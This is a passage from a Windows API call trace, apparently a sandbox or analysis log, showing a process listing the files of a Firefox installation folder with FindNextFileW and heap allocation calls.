ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf1a38c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.230] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef422c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef422c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x23996480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessibleMarshal.dll", cAlternateFileName="")) returned 1 [0089.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.232] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x774f8200, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x279, dwReserved0=0x0, dwReserved1=0x0, cFileName="application.ini", cAlternateFileName="")) returned 1 [0089.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1708 [0089.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee9b8 [0089.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.233] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2431fb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x12670, dwReserved0=0x0, dwReserved1=0x0, cFileName="breakpadinjector.dll", cAlternateFileName="")) returned 1 [0089.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.235] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="browser", cAlternateFileName="")) returned 1 [0089.235] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x24ca9180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1ca70, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter.exe", cAlternateFileName="")) returned 1 [0089.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.236] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x45382300, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0xfa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter.ini", cAlternateFileName="")) returned 1 [0089.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1728 [0089.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.238] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xfd9a7300, ftLastWriteTime.dwHighDateTime=0x1cafd02, nFileSizeHigh=0x0, nFileSizeLow=0x202368, dwReserved0=0x0, dwReserved1=0x0, cFileName="D3DCompiler_43.dll", cAlternateFileName="")) returned 1 [0089.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.239] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="defaults", cAlternateFileName="")) returned 1 [0089.239] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x52aed680, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="")) returned 1 [0089.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1748 [0089.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.241] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dictionaries", cAlternateFileName="")) returned 1 [0089.241] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x25fbbe80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x43470, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1 [0089.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.242] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1 [0089.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1768 [0089.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.244] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x49c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.dll", cAlternateFileName="")) returned 1 [0089.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.245] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2ac07280, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x34ca70, dwReserved0=0x0, dwReserved1=0x0, cFileName="gkmedias.dll", cAlternateFileName="")) returned 1 [0089.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.247] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaeef6000, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb125e740, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x5aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.log", cAlternateFileName="")) returned 1 [0089.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1788 [0089.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.248] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2b590900, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xfa70, dwReserved0=0x0, dwReserved1=0x0, cFileName="libEGL.dll", cAlternateFileName="")) returned 1 [0089.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.250] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2c8a3600, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x86270, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll", cAlternateFileName="")) returned 1 [0089.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.251] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="")) returned 1 [0089.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.253] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x2f7f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice_installer.exe", cAlternateFileName="")) returned 1 [0089.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.254] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2e53f980, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4270, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozalloc.dll", cAlternateFileName="")) returned 1 [0089.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.256] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2eec9000, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1fe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozglue.dll", cAlternateFileName="")) returned 1 [0089.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.257] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x314eea00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x336470, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozjs.dll", cAlternateFileName="")) returned 1 [0089.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.258] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0x66d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp100.dll", cAlternateFileName="")) returned 1 [0089.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.260] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0xbc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0089.260] RtlAllocateHeap 